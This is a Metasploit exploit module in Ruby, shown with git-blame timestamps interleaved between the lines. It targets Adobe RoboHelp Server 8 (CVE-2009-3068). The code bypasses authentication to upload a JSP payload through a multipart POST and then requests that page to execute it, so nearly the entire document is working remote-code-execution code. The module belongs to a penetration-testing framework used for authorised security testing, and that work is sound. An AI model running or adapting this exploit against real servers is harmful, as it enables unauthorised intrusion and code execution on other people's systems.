2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2009-09-27 18:38:48 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2010-07-12 23:25:31 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
|
|
|
|
2009-09-27 18:38:48 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-09-27 18:38:48 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a authentication bypass vulnerability which
|
2010-04-30 08:40:19 +00:00
|
|
|
allows remote attackers to upload and execute arbitrary code.
|
2009-09-27 18:38:48 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-11-17 00:05:19 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-09-27 18:38:48 +00:00
|
|
|
'Platform' => 'win',
|
|
|
|
'Privileged' => true,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-3068' ],
|
2010-05-13 16:53:50 +00:00
|
|
|
[ 'OSVDB', '57896'],
|
2010-07-06 21:59:16 +00:00
|
|
|
[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
|
2009-09-27 18:38:48 +00:00
|
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ],
|
|
|
|
],
|
|
|
|
'Targets' =>
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
|
|
|
[ 'Universal Windows Target',
|
2009-09-27 18:38:48 +00:00
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
2009-09-28 00:24:18 +00:00
|
|
|
'DisclosureDate' => 'Sep 23 2009'
|
2009-09-27 18:38:48 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options( [ Opt::RPORT(8080) ], self.class )
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
|
|
|
|
uid = rand(20).to_s
|
|
|
|
|
|
|
|
file = "-----------------------------#{uid}\r\n"
|
|
|
|
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
|
|
|
|
file << "Content-Type: application/x-java-archive\r\n\r\n"
|
|
|
|
file << payload.encoded
|
|
|
|
file << "\r\n"
|
|
|
|
|
|
|
|
print_status("Sending our POST request...")
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => '/robohelp/server?PUBLISH=' + uid,
|
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => file,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
|
|
|
|
'UID' => uid,
|
|
|
|
}
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-09-27 18:38:48 +00:00
|
|
|
if ( res and res.message =~ /OK/ )
|
2009-11-16 19:00:16 +00:00
|
|
|
id = res['sessionid'].to_s.strip
|
|
|
|
|
2009-09-27 18:38:48 +00:00
|
|
|
print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
|
|
|
|
data = send_request_raw({
|
|
|
|
'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page ,
|
|
|
|
'method' => 'GET',
|
|
|
|
'version' => '1.0',
|
|
|
|
}, 5)
|
|
|
|
|
|
|
|
handler
|
|
|
|
else
|
|
|
|
print_error("No SESSIONID acquired...")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|